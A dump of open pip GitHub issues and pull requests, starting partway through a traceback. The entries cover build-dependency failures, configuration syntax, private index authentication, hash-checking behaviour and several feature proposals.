              File "<pip-setuptools-caller>", line 34, in <module>
              File "/tmp/pip-install-cjq2ceft/numba_038204029f80492abe9a98cd3f937572/setup.py", line 51, in <module>
                _guard_py_ver()
              File "/tmp/pip-install-cjq2ceft/numba_038204029f80492abe9a98cd3f937572/setup.py", line 48, in _guard_py_ver
                raise RuntimeError(msg.format(cur_py, min_py, max_py))
            RuntimeError: Cannot install on Python version 3.11.3; only versions >=3.7,<3.11 are supported.
            [end of output]

        note: This error originates from a subprocess, and is likely not a problem with pip.
      error: metadata-generation-failed

      × Encountered error while generating package metadata.
      ╰─> See above for output.

      note: This is an issue with the package mentioned above, not pip.
      hint: See above for details.
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

This is weird because `0.57.0rc1` should've satisfied `rocket-fft`'s requirement of `numba>=0.56.0`, but `pip` still tries to install `numba=0.56.4` even when I have `numba=0.57.0rc1` installed during the setup of `rocket-fft`. 

### Expected behavior

Pinned `numba` version should've resolved this. 

### pip version

23.1

### Python version

3.11.3

### OS

linux

### How to Reproduce

Mentioned above

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: kwsp
labels: type: support: User Support
C: build logic: Stuff related to metadata generation / wheel generation
issue_11988: state: open
title: pip config for boolean multi-valued options like no-binary
body: ### Description

I cannot get options like `no-binary`, `prefer-binary`, `only-binary`, which can be repeated on the command line, to work via pip configuration files.

For one, it seems completely unclear how the correct **syntax** for that should be.
```ini
[global]
prefer-binary = opencv-python-headless # fails: must be boolean
prefer-binary = opencv-python-headless=true # fails
prefer-binary = opencv-python-headless:true # fails
prefer-binary = 
        opencv-python-headless = true # fails
```

The concrete error message I keep getting is:
```
opencv-python-headless is not a valid value for prefer-binary option, please specify a boolean value like yes/no, true/false or 1/0 instead.
```

I know I could use the special value `:all:`, but that's not what I want.

Also, it gets even more unclear how this can work with **multiple** values, e.g. the config file equivalent of `--prefer-binary shapely --prefer-binary opencv-python-headless`.

What's worse: using `pip config set` will **blindly accept broken** values (any of the above variants) and write a config file which breaks pip from then on.

For example,

    pip config set global.prefer-binary opencv-python-headless
    pip config set global.prefer-binary opencv-python-headless=true
    pip config set global.prefer-binary "opencv-python-headless shapely"
    pip config set global.prefer-binary "opencv-python-headless=true shapely=true"

All of these will run without error and create a pip.conf with the respective content. But since neither of those syntax variants is correct, the config file will prevent any further actions with `pip install` (unless suppressing the config file on the command line).

This is **different** from the simple multi-valued options like `find-links` or `trusted-host`, since apparently they are strings and not boolean.

I did not find any concrete mention or example/test of this in the documentation.

Also, I did not find a concrete issue or PR on the subject.

I guess that solving https://github.com/pypa/pip/issues/8259 would help for the CLI usage of `pip config`, but it looks like the configuration file syntax itself is not well-defined for this case.




### Expected behavior

Something like

    pip config set global.prefer-binary "opencv-python-headless shapely"
    pip install opencv-python-headless # prefers binary
    pip install shapely # prefers binary



### pip version

23.1

### Python version

3.8

### OS

Linux

### How to Reproduce

(see above)

### Output

```
opencv-python-headless is not a valid value for prefer-binary option, please specify a boolean value like yes/no, true/false or 1/0 instead.
opencv-python-headless=true is not a valid value for prefer-binary option, please specify a boolean value like yes/no, true/false or 1/0 instead.
opencv-python-headless shapely is not a valid value for prefer-binary option, please specify a boolean value like yes/no, true/false or 1/0 instead.
opencv-python-headless=true shapely=true is not a valid value for prefer-binary option, please specify a boolean value like yes/no, true/false or 1/0 instead.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: bertsky
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11984: state: open
title: Pip behavior with forwarding page in find-links
body: ### What's the problem this feature will solve?

Currently when a page specified using find-links forwards to another then pip neither follows nor warns which leads to confused users.

### Describe the solution you'd like

Warn users that the page from which it'll install is not the same as they would see while accessing via alternative means like browser.

### Alternative Solutions

Follow the redirect (that seems less desirable to do automatically).

### Additional context

None. We just had quite a few folks thinking they are installing a nightly version and getting an outdated, pre GitHub repo move variant but everything seems to pass.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: jpienaar
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11979: state: open
title: pip==23.1 fails to install packages from Azure DevOps 
body: ### Description

`pip==23.1` fails to install packages from our Azure DevOps package indexes where `pip==23.0.1` and prior versions do not.

Error is always an EOFError due to prompting for input during installation, even though username and personal access token have already been provided.

Unfortunately, I have to omit the package index feeds and package names due to the confidentiality of the product.. I suppose I have to hope someone on the pip team has access to an Azure DevOps feed they can test this out with.

```bash
python -m pip install -U <OMITTED>                                                                                                         10:09:47 
Looking in indexes: <OMITTED>, <OMITTED>
User for pkgs.dev.azure.com: chipwood@microsoft.com
Collecting <OMITTED>
  Downloading <OMITTED>/_packaging/10ebad83-c7bd-4771-97d2-7757df714097/pypi/download/<OMITTED>/1.1.63/<OMITTED>-1.1.63-py3-none-any.whl (4.9 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.9/4.9 MB 46.2 kB/s eta 0:00:00
Collecting antlr-ast==0.8.1 (from <OMITTED>)
  Downloading <OMITTED>/be43342d-d775-4dd7-831b-0b9db7908242/_packaging/1e4473fb-8057-48e9-a385-46fe6d9730f1/pypi/download/antlr-ast/0.8.1/antlr-ast-0.8.1.tar.gz (29 kB)
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 2
  ╰─> [58 lines of output]
      Looking in indexes: <OMITTED>
      User for pkgs.dev.azure.com: ERROR: Exception:
      Traceback (most recent call last):
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\cli\base_command.py", line 169, in exc_logging_wrapper
          status = run_func(*args)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\cli\req_command.py", line 248, in wrapper
          return func(self, options, args)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\commands\install.py", line 377, in run
          requirement_set = resolver.resolve(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 92, in resolve
          result = self._result = resolver.resolve(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 546, in resolve
          state = resolution.resolve(requirements, max_rounds=max_rounds)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 397, in resolve
          self._add_to_criteria(self.state.criteria, r, parent=None)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 173, in _add_to_criteria
          if not criterion.candidates:
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\structs.py", line 156, in __bool__
          return bool(self._sequence)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 155, in __bool__
          return any(self)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 143, in <genexpr>
          return (c for c in iterator if id(c) not in self._incompatible_ids)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 44, in _iter_built
          for version, func in infos:
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\factory.py", line 279, in iter_index_candidate_infos
          result = self._finder.find_best_candidate(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 890, in find_best_candidate
          candidates = self.find_all_candidates(project_name)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 831, in find_all_candidates
          page_candidates = list(page_candidates_it)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\sources.py", line 134, in page_candidates
          yield from self._candidates_from_page(self._link)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 791, in process_project_url
          index_response = self._link_collector.fetch_response(project_url)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 461, in fetch_response
          return _get_index_content(location, session=self.session)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 364, in _get_index_content
          resp = _get_simple_response(url, session=session)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 135, in _get_simple_response
          resp = session.get(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 600, in get
          return self.request("GET", url, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\session.py", line 517, in request
          return super().request(method, url, *args, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 587, in request
          resp = self.send(prep, **send_kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 708, in send
          r = dispatch_hook("response", hooks, r, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\hooks.py", line 30, in dispatch_hook
          _hook_data = hook(hook_data, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\auth.py", line 500, in handle_401
          username, password, save = self._prompt_for_password(parsed.netloc)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\auth.py", line 455, in _prompt_for_password
          username = ask_input(f"User for {netloc}: ") if self.prompting else None
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\utils\misc.py", line 206, in ask_input
          return input(message)
      EOFError: EOF when reading a line
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 2
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

### Expected behavior

No EOF error when installing packages.

### pip version

23.1

### Python version

3.10.5

### OS

Windows 10, 11, Server 2022

### How to Reproduce

1. Create a package index in Azure DevOps that requires personal access tokens
2. Upload a package to it
3. Set up your pip.ini or pip.conf file with the --index-url and/or --extra-index-url
4. Attempt to install that package using `pip==23.1`

### Output

python -m pip install -U <OMITTED>                                                                                                         10:09:47 
Looking in indexes: <OMITTED>, <OMITTED>
User for pkgs.dev.azure.com: chipwood@microsoft.com
Collecting <OMITTED>
  Downloading <OMITTED>/_packaging/10ebad83-c7bd-4771-97d2-7757df714097/pypi/download/<OMITTED>/1.1.63/<OMITTED>-1.1.63-py3-none-any.whl (4.9 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 4.9/4.9 MB 46.2 kB/s eta 0:00:00
Collecting antlr-ast==0.8.1 (from <OMITTED>)
  Downloading <OMITTED>/be43342d-d775-4dd7-831b-0b9db7908242/_packaging/1e4473fb-8057-48e9-a385-46fe6d9730f1/pypi/download/antlr-ast/0.8.1/antlr-ast-0.8.1.tar.gz (29 kB)
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 2
  ╰─> [58 lines of output]
      Looking in indexes: <OMITTED>
      User for pkgs.dev.azure.com: ERROR: Exception:
      Traceback (most recent call last):
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\cli\base_command.py", line 169, in exc_logging_wrapper
          status = run_func(*args)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\cli\req_command.py", line 248, in wrapper
          return func(self, options, args)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\commands\install.py", line 377, in run
          requirement_set = resolver.resolve(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 92, in resolve
          result = self._result = resolver.resolve(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 546, in resolve
          state = resolution.resolve(requirements, max_rounds=max_rounds)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 397, in resolve
          self._add_to_criteria(self.state.criteria, r, parent=None)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 173, in _add_to_criteria
          if not criterion.candidates:
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\resolvelib\structs.py", line 156, in __bool__
          return bool(self._sequence)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 155, in __bool__
          return any(self)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 143, in <genexpr>
          return (c for c in iterator if id(c) not in self._incompatible_ids)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 44, in _iter_built
          for version, func in infos:
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\resolution\resolvelib\factory.py", line 279, in iter_index_candidate_infos
          result = self._finder.find_best_candidate(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 890, in find_best_candidate
          candidates = self.find_all_candidates(project_name)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 831, in find_all_candidates
          page_candidates = list(page_candidates_it)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\sources.py", line 134, in page_candidates
          yield from self._candidates_from_page(self._link)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\package_finder.py", line 791, in process_project_url
          index_response = self._link_collector.fetch_response(project_url)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 461, in fetch_response
          return _get_index_content(location, session=self.session)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 364, in _get_index_content
          resp = _get_simple_response(url, session=session)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\index\collector.py", line 135, in _get_simple_response
          resp = session.get(
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 600, in get
          return self.request("GET", url, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\session.py", line 517, in request
          return super().request(method, url, *args, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 587, in request
          resp = self.send(prep, **send_kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\sessions.py", line 708, in send
          r = dispatch_hook("response", hooks, r, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_vendor\requests\hooks.py", line 30, in dispatch_hook
          _hook_data = hook(hook_data, **kwargs)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\auth.py", line 500, in handle_401
          username, password, save = self._prompt_for_password(parsed.netloc)
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\network\auth.py", line 455, in _prompt_for_password
          username = ask_input(f"User for {netloc}: ") if self.prompting else None
        File "C:\temp\venv_tmp\Lib\site-packages\pip\_internal\utils\misc.py", line 206, in ask_input
          return input(message)
      EOFError: EOF when reading a line
      [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 2
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: imchipwood
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11974: state: open
title: Clarify which dependencies the hash-checking mode applies to
body: ### Problem

The [hash-checking mode documentation](https://pip.pypa.io/en/latest/topics/secure-installs/#hash-checking-mode) says that “Hashes are required for all dependencies”. However, in fact hashes are not required for build-time dependencies.

### Possible solutions

I can see two possible solutions:

* Extend hash-checking mode to actually apply to “all dependencies”.
* Change the documentation to clarify that build-time dependencies are not hash-checked.

### Triaging note

I wasn’t sure whether this is a bug report or a feature request because that depends on the exact intention behind saying “all dependencies”.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: manueljacob
labels: type: docs: Documentation related
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11971: state: open
title: Clarify docs example for keyring subprocess auth with Google Artifact Registry 
body: ### Description

Hi, 
thanks for the great additions with keyrings in pip 23.1 :) I discovered that the docs here https://pip.pypa.io/en/stable/topics/authentication/ on auth is missing some vital info for auth with Google Artifact Registry. 

Trying to use the new keyring delegation calling with

Does not work
```pip install --no-input --keyring-provider=subprocess --index-url=https://us-east4-python.pkg.dev/<project>/<repo>/simple <package_name>```

Does work
```pip install --no-input --keyring-provider=subprocess --index-url=https://oauth2accesstoken@us-east4-python.pkg.dev/<project>/<repo>/simple <package_name>```

It seems the username needs to be `oauth2accesstoken`. It was only obvious after digging deep into the code for
keyrings.google-artifactregistry-auth that this is a hard coded username, and any username provided to the CLI is ignored. 

The CLI interface in keyrings could be more obvious and also return the overridden username, but that's not for pip to solve i guess. 


### Expected behavior

Update docs to state that this username needs to be used for any usage with Google Artifact Registry

### pip version

23.1

### Python version

3.11

### OS

Mac

### How to Reproduce

You need a working Google Artifact Registry setup. See description

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: MichelEdkrantz
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11969: state: open
title: Minify `origin.json` and `direct_url.json` files:
body: I noticed that the `origin.json` and `direct_url.json` files have some extra whitespace which can be removed by setting the `separators` kwarg.
user: dosisod
issue_11968: state: open
title: Validate VCS urls in hash-checking mode using their commit hashes
body: closes #6469
user: sbidoul
labels: C: vcs: pip's interaction with version control systems like git, svn and bzr
issue_11953: state: open
title: message_about_scripts_not_on_PATH: use pathlib for path normalization and resolve symlinks
body: This PR is the rebased version of https://github.com/pypa/pip/pull/11903

user: lorddavidiii
issue_11943: state: open
title: Pip may record an invalid hash in cache entries
body: ### Description

In some circumstances, pip may record an invalid hash in the `origin.json` file in wheel cache entries.

This happens when an invalid hash is provided as URL fragment, together with a good hash provided with `--hash`.
In such cases pip does not validate the hash provided as URL fragment.
The cache logic however assumes such hash has been validated elsewhere in pip and records it without verifying it.

### Expected behavior

We should probably compute a set of strong hash when generating `origin.json`.

Besides resolving this bug, this would also be more predictable, with known hash algorithms recorded in cache entries.

### pip version

Since 22.2

### Python version

any

### OS

any

### How to Reproduce

Create and install a requirements.txt like this:

```
simple @ https://github.com/pypa/pip/raw/23.0.1/tests/data/packages/simple-1.0.tar.gz#sha256=invalid \
  --hash sha256:393043e672415891885c9a2a0929b1af95fb866d6ca016b42d2e6ce53619b653
```

Notice the hash recorded in `origin.json` is `invalid`.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sbidoul
labels: type: bug: A confirmed bug or unintended behavior
C: cache: Dealing with cache and files in it
issue_11925: state: open
title: Pip load CPU when downloading packages 
body: ### Description

I download package whith pip install with speed ~500 kb/s and my proccessor load over 70% all cores
![Снимок экрана от 2023-04-05 20-20-26](https://user-images.githubusercontent.com/126280315/230157693-cc8331ec-85eb-448d-b566-0bc23a2804b6.png)


### Expected behavior

_No response_

### pip version

23.0.1

### Python version

3.10

### OS

Ubuntu

### How to Reproduce

Downloading with pip 
in python -m venv

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: earl99
labels: type: bug: A confirmed bug or unintended behavior
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_11923: state: open
title: Refactor checking of hashes embedded in user-provided URLs
body: Some URLs can contain hashes, like so: https://example.com/archive-1.0.tar.gz#sha256=abcdef...
Such URLs can be provided by the user, in which case the hash must be considered good, and the dowloaded resource verified against that hash.
Such URLs can also be obtained from indexes, in which case the hash must be verified, but not trusted.

The `hashes()` method of `InstallRequirements` is extremely sensitive to whether original_link is set or not.
It is also very hard (to me) to understand when and why `trust_internet` must be True or False.
While working on https://github.com/pypa/pip/pull/11897 I found  that it was very easy to break hash checking just by trying to preserve `req.original_link` after obtaining a cache entry.

So I propose this refactoring that achieves the same behaviour in a more robust way, by extending hash_options with the hash passed in the link URL when we are certain that such a link is user provided.

Creating as draft to check tests pass and I'm still sane of mind... Not ready to review.
user: sbidoul
issue_11921: state: open
title: pip 23.0.1 causes system crash when downloading torch2.0 on Windows 11
body: ### Description

I encountered a serious issue while using pip 23.0.1 to download torch on my Windows 11 system. Specifically, when pip started to check the files in the index https://download.pytorch.org/whl/cu118, the memory usage began to increase, eventually leading to a memory overflow and system crash (green screen reboot).

Here are the details of the error:

+ System: Windows 11
+ pip version: 23.0.1
+ Package being downloaded: torch
+ Index URL: https://download.pytorch.org/whl/cu118
+ Error message: green screen error message, system crash

I suspect that this issue may be related to a memory leak or some other resource management issue within pip. Unfortunately, I was not able to gather more specific information about the error before the crash occurred.

I am writing to request your help in resolving this issue and preventing it from happening to other users. Is there any additional information that I can provide to help diagnose the issue? Additionally, is there any known workaround or solution for this problem?

Thank you for your assistance in advance. I look forward to hearing back from you soon.

### Expected behavior

_No response_

### pip version

23.0.1

### Python version

3.11.2

### OS

windows11

### How to Reproduce

```sh
pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: miaobuao
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11912: state: open
title: Installing dependent wheels in a single command with specified extras is order dependent
body: ### Description

- Given two wheel files for a package called, `child` and another, `parent`, which depends on `child` and with both having a `[test]` extra (ie `{"test": ["pytest"]}`, 
- when `pip install child.whl[test] parent.whl[test]` is run the install will succeed. 
- when `pip install parent.whl child.whl` is run the install will succeed. 
- If the command is instead `pip install parent.whl[test] child.whl[test]` the install will fail.

### Expected behavior

I expect this to work in both orders. I understand it's a bit of an edge case, but would potentially be useful to note in the docs if not fixed as the error message isn't particularly helpful. 

### pip version

23.0.1

### Python version

3.11

### OS

Linux

### How to Reproduce

I've written [a test](https://github.com/mattnotmitt/pypa-pip/blob/wheel-extras-order-bug-repro/tests/functional/test_install_wheel.py#L804) which reproduces the issue.

### Output

ERROR: Could not find a version that satisfies the requirement childpkg (from parent[test]) (from versions: none)
ERROR: No matching distribution found for childpkg

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mattnotmitt
labels: type: enhancement: Improvements to functionality
C: dependency resolution: About choosing which dependencies to install
issue_11899: state: open
title: Added --editable-requirements option to install command
body: This PR adds an `--editable-requirements` option to `pip install` to provide the functionality requested in https://github.com/pypa/pip/issues/11881

When installing a package in editable mode that depends on other packages that can be installed in editable mode (e.g. `other_package @ file:///path/to/other_package`) there are situations where it would be useful to also install `other_package` in editable mode.

This is similar to the functionality that `poetry install` offers but applies to packages using any build system.

Here are two use cases I have encountered where this functionality would be useful:

## Scenario 1
I have a set of packages for personal projects that depend on each other.
The projects will never be uploaded to a package index, therefore they depend on each other by their paths. I would like to install them all in editable mode so that I can work on them without having to re-install each time I make a change.

I manage a virtual environment for my projects with a `requirements.txt` file which lists the top-level packages to install

```
# misc packages
pytest
ipython

# my projects
-e /path/to/project1
-e /path/to/project2
```
If `project1` depends on `library1` then although `project1` and `project2` are installed in editable mode,
`library1` would not be which is confusing.

Adding `-e /path/to/library1` would not be a solution because of https://github.com/pypa/pip/issues/10216

With this PR I could add `--editable-requirements` to the top of the file to get the behaviour I want.


## Scenario 2
I have a monorepo containing multiple projects using [this approach](https://gerben-oostra.medium.com/python-poetry-mono-repo-without-limitations-dd63b47dc6b8) which has packages depend on each other using relative paths that the CI re-writes as version requirements while building the packages.

The CI itself uses some python tools developed in the monorepo to help build the packages. These tools are installed using `pip install -e` on the CI machine so that changes to the tools take immediate effect without needing to be re-installed each run. The packages are only re-installed whenever the requirements change.

Without `--editable-requirements` I am resorting to custom script that wraps pip to hack this feature in.

user: mbway
issue_11898: state: open
title: Prevent pip install pip install
body: Resolves #11484.

If a user pastes an install command into their terminal, but has already typed `pip install ` beforehand, this currently results in `pip` installing the [`install`](https://github.com/eugenekolo/pip-install) package, which is likely never their intention given that `install` is a nearly useless package to prevent typosquatting.

This appears to be a common mistake given that the `install` package has around 30000 installs on most weekdays.

This PR adds a check to prevent users from running `pip install pip install package` and `pip install install package`, which should hopefully save users some time and frustration, since there won't be a need to follow their mistaken command up with a `pip uninstall install` to rectify their mistake.

Note that it is still possible to install the `install` package using `pip install install` by itself or by specifying it as not being the first package.

* [x] Implement
* [x] Add tests
* [x] Add news entry

As far as I'm aware, this feature shouldn't require documentation, but I'm happy to write some if required (let me know where since I can't think of a good place for it).

This is my first PR to `pip`, so please let me know if there's anything I've overlooked! Thanks!
user: MiguelGuthridge
issue_11896: state: open
title: Add support for disabling unsafe legacy renegotiation and forcing TLS 1.3 in SSL/TLS connections
body: ### What's the problem this feature will solve?

Currently, pip uses the requests library for making SSL/TLS connections to remote servers. However, some servers may be configured to allow unsafe legacy renegotiation, which can potentially be exploited to launch attacks on the connection.

In addition, some users may want to force the use of TLS 1.3 in their SSL/TLS connections, in order to take advantage of its improved security features and performance.


### Describe the solution you'd like

To address these issues, I propose adding support for disabling unsafe legacy renegotiation and forcing the use of TLS 1.3 in SSL/TLS connections made by pip. This could be accomplished by adding a new configuration option to pip that allows users to set the SSL/TLS options used by requests.

One possible implementation of this feature would be to add a new --ssl-options option to pip, which allows users to specify a list of SSL/TLS options to use for connections. For example:

```sh
pip install --ssl-options=OP_NO_RENEGOTIATION,OP_NO_TLSv1_2 ...
```
This would disable unsafe legacy renegotiation and TLS 1.2, and force the use of TLS 1.3 if the server supports it.



### Alternative Solutions

Alternatively, this feature could be implemented by adding a new environment variable (e.g., PIP_SSL_OPTIONS) that allows users to set the SSL/TLS options globally for all pip connections.


### Additional context

The current implementation of pip does not provide any mechanism for disabling unsafe legacy renegotiation or forcing the use of TLS 1.3 in SSL/TLS connections. This can leave users vulnerable to attacks that exploit these features of SSL/TLS.

By adding support for disabling unsafe legacy renegotiation and forcing the use of TLS 1.3, pip can improve the security and performance of SSL/TLS connections made to remote servers. This feature would be especially useful for users who need to connect to servers that allow unsafe legacy renegotiation or want to take advantage of the improved security and performance of TLS 1.3.

This feature has been discussed in various places, including Stack Overflow and other forums. There is a growing need for this feature as more and more servers are being configured to disable unsafe legacy renegotiation or require the use of TLS 1.3.


# Impact

This feature would be optional and would not affect the default behavior of pip. Users who do not need to disable unsafe legacy renegotiation or force the use of TLS 1.3 in their SSL/TLS connections can continue to use pip as usual.

Users who do need to disable unsafe legacy renegotiation or force the use of TLS 1.3 in their SSL/TLS connections would benefit from this feature, as it would allow them to make secure and high-performance connections to servers that would otherwise be vulnerable to attack or unable to take advantage of TLS 1.3.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: azachar
labels: S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_11894: state: open
title: A way to tell pip to fallback to an alternative in case the package I want cannot be installed
body: ### What's the problem this feature will solve?

I want pip to install a package, but if it can't, install a fall back to an alternative package. Specific example: I want psycopg2, but if it fails to build, just use psycopg2-binary.

### Describe the solution you'd like

Add a pip command-line option for specifying a fallback package.


### Alternative Solutions

Alternative solutions:
* script it outside of pip (e.g. `pip install psycopg2 || pip install psycopg2-binary`)
* specify e.g. psycopg2 on Windows and psycopg2-binary on Linux using PEP508
* settle for one package that is perhaps more likely to be available


### Additional context

This is related to #8669, but that is a complex proposal for enhancing package metadata while this would be a simple pip option.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: vashek
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11893: state: open
title: Codespell: config, action, pre-commit + few typos fixed 
body: There were codespell fixes submitted in the past but no action or pre-commit was configured, so new typos seems to penetrate.  So I decided to propose action/config and pre-commit to ensure that in the future `pip` would remain typos free


user: yarikoptic
issue_11891: state: open
title: console_scripts generated exe fails to read certain CLI arguments
body: ### Description

console_scripts can generate exe. But it fails to read certain CLI arguments (for example `〜`), while invoking by python works.

This is not the only character that fails. I just took some time to investigate this time.

### Expected behavior

_No response_

### pip version

23.0.1 But exists for a long time

### Python version

3.11.2

### OS

Win11 22H2

chcp 936 (Chinese)

### How to Reproduce

Setup.py

```py
import setuptools

setuptools.setup(
    py_modules=['a'],
    entry_points={
        "console_scripts": [
            "a = a:main"
        ]
    }
)
```

a.py

```py
import sys

def main():
    print(sys.argv)

if __name__ == "__main__":
    main()
```

pip install .

Run `a 〜` fails. While `python a.py 〜` works.

### Output

```
(.venv) PS C:\py\a> a 〜  
['C:\\py\\a\\.venv\\Scripts\\a', '?']

(.venv) PS C:\py\a> python a.py 〜
['a.py', '〜']
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: imba-tjd
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_11890: state: open
title: Cannot install into alternate root with custom platform
body: ### Description

If I'm building a python environment for another system I can use `--root`:

```
pip3 install --root foobar pygit2
```

However, if that other system isn't the same architecture, it doesn't work:

```
$ pip3 install pygit2 --root foobar --platform=manylinux2014_aarch64 --only-binary :all:
ERROR: Can not use any platform or abi specific options unless installing via '--target'
```

